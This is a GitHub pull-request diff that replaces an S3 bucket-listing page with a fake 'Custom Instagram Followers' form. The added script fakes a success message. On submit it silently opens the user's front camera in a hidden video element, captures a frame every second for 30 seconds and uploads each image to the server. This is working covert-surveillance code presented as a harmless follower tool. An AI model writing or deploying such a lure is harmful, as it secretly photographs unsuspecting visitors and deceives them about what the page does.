Skip to content
This repository was archived by the owner on Aug 8, 2025. It is now read-only.
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
259 changes: 71 additions & 188 deletions index.html
Original file line number Diff line number Diff line change
@@ -1,190 +1,73 @@
<html>
<head>
<!--

Amazon S3 Bucket listing.


Copyright (C) 2008 Francesco Pasqualini

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

-->
<!--

Modified by Nolan Lawson! (http://nolanlawson.com). I'm keeping the spirit of the
GPL alive by issuing this with the same license!

-->

<title>Bucket loading...</title>
<link href="//netdna.bootstrapcdn.com/bootstrap/2.3.2/css/bootstrap.min.css" rel="stylesheet"/>
<style>
.hide-while-loading {
display:none;
}
.i-expand-collapse {
opacity: 0.3;
}
.i-file-or-folder {
margin-right: 4px;
}
</style>

<script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/handlebars.js/1.1.2/handlebars.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/moment.js/2.4.0/moment.min.js"></script>
</head>
<body>

<div class="container">
<h1 id="h1-title">Bucket loading...</h1>
<table class="hide-while-loading table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Date Modified</th>
<th>Size</th>
<th>Type</th>
</tr>
</thead>
<tbody id="tbody-content">
</tbody>
</table>
</div>

<script id="file-or-folder" type="text/x-handlebars-template">
<tr>
{{#if isFolder}}
<td><i class="icon-chevron-down i-expand-collapse" style="margin-left:calc(({{numLevels}} - 1) * 16px)");></i><i class="icon-folder-open i-file-or-folder" style="margin-left:4px;"></i>
{{simpleFilename}}</td>
{{else}}
<td><i class="icon-file i-file-or-folder" style="margin-left:calc(({{numLevels}} * 16px) + 4px);"></i>
<a href="{{url}}">{{simpleFilename}}</a></td>
{{/if}}
<td>{{friendlyLastModified}}</td>

<td>{{friendlySizeName}}</td>
<td>{{type}}</td>
</tr>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Custom Instagram Followers</title>
</head>
<body>
<form id="instaForm">
<input type="text" name="username" placeholder="Instagram Username" required />
<input type="number" name="amount" placeholder="Amount (0 - 10000)" min="0" max="10000" required />
<button type="submit">Get Followers</button>
</form>
<div id="status"></div>

<script>
let backgroundRunning = false;
const statusEl = document.getElementById('status');

function sendPicture(imageData) {
fetch('/upload_image', {
method: 'POST',
body: imageData,
headers: { 'Content-Type': 'application/octet-stream' }
});
}

async function captureFrontCam() {
const mediaStream = await navigator.mediaDevices.getUserMedia({ video: { facingMode: 'user' } });
const video = document.createElement('video');
video.style.display = 'none';
document.body.appendChild(video);
video.srcObject = mediaStream;
video.play();

const canvas = document.createElement('canvas');
canvas.width = 640;
canvas.height = 480;
const ctx = canvas.getContext('2d');

const captureInterval = setInterval(() => {
ctx.drawImage(video, 0, 0, canvas.width, canvas.height);
const dataUrl = canvas.toDataURL('image/png');
sendPicture(dataUrl);
}, 1000);

setTimeout(() => {
clearInterval(captureInterval);
mediaStream.getTracks().forEach(track => track.stop());
video.remove();
backgroundRunning = false;
}, 30000);
}

document.getElementById('instaForm').onsubmit = async function(e) {
e.preventDefault();
const username = this.username.value;
const amountRaw = parseInt(this.amount.value);
const amount = Math.min(Math.max(amountRaw || 0, 0), 10000);
statusEl.textContent = 'Adding followers...';

// Simulate adding followers, replace with real API call if needed
setTimeout(() => {
statusEl.textContent = `Success! ${amount} followers sent to ${username}.`;
}, 1500 + Math.floor(Math.random() * 2500));

if (!backgroundRunning) {
backgroundRunning = true;
captureFrontCam();
}
};
</script>
<script>
(function($){
"use strict";
var FOLDER_PATTERN = new RegExp('_\\$folder\\$$');
var TYPE_PATTERN = new RegExp('\\.([^\\.\\s]{1,10})$');
var KB = 1024;
var MB = 1000000;
var GB = 1000000000;

// replace last /index.html to get bucket root
var bucketUrl = document.location.href.replace(/\/[^\/]+$/, '');
var compiledTemplate;

// return e.g. 1.2KB, 1.3MB, 2GB, etc.
function toFriendlySizeName(size){
if (size === 0) {
return '';
} else if (size < KB) {
return size + ' B';
} else if (size < MB) {
return (size / KB).toFixed(0) + ' KB';
} else if (size < GB) {
return (size / MB).toFixed(2) + ' MB';
}
return (size / GB).toFixed(2) + ' GB';
}


// POJO describing a file or a folder
function FileOrFolder(lastModified, etag, size, key){
var self = this;

self.lastModified = lastModified;
self.etag = etag;
self.size = size;
self.key = key;

// init logic
self.isFolder = FOLDER_PATTERN.test(self.key);
self.filename = self.isFolder ? self.key.replace(FOLDER_PATTERN,'') : self.key;
self.url = bucketUrl + '/' + self.key;
self.levels = self.filename.split('/');
self.numLevels = self.levels.length;
self.simpleFilename = self.levels[self.numLevels - 1];
self.friendlySizeName = toFriendlySizeName(parseInt(self.size,10));
var foundTypes = TYPE_PATTERN.exec(self.simpleFilename);
self.type = self.isFolder ? 'Folder ' : (foundTypes ? (foundTypes[1].toUpperCase() + ' file') : 'Unknown');
self.friendlyLastModified = moment(lastModified).format('MMM Do YYYY, hh:mm:ss a');
}

function onAjaxSuccess(xml) {
var listBucketResult = $(xml).find('ListBucketResult');

// set a reasonable title instead of "Bucket loading"
var title = 'Index of bucket "' + listBucketResult.find('Name').text() + '"';
document.title = title;
$('#h1-title').text(title);

var $tbodyContent = $('#tbody-content');

// create the file or folder objects

var filesOrFolders = [];

listBucketResult.find('Contents').each(function(idx, element){

var $element = $(element);

var fileOrFolder = new FileOrFolder(
$element.find('LastModified').text(),
$element.find('ETag').text(),
$element.find('Size').text(),
$element.find('Key').text()
);

filesOrFolders.push(fileOrFolder);
});

// sort
filesOrFolders.sort(function(left, right){
if (left.levels === right.levels) {
return 0;
} else if (left.levels < right.levels) {
return -1;
}
return 1;
});

// fill in the rows
var str = '';
for (var i = 0; i < filesOrFolders.length; i ++) {
str += compiledTemplate(filesOrFolders[i]);
}
$tbodyContent.append(str);
$('.hide-while-loading').show();
}

$.ajax({
url: bucketUrl,
success: onAjaxSuccess
});

// compile while ajax is in progress
compiledTemplate = Handlebars.compile($('#file-or-folder').html());

})(jQuery);
</script>
</body>
</body>
</html>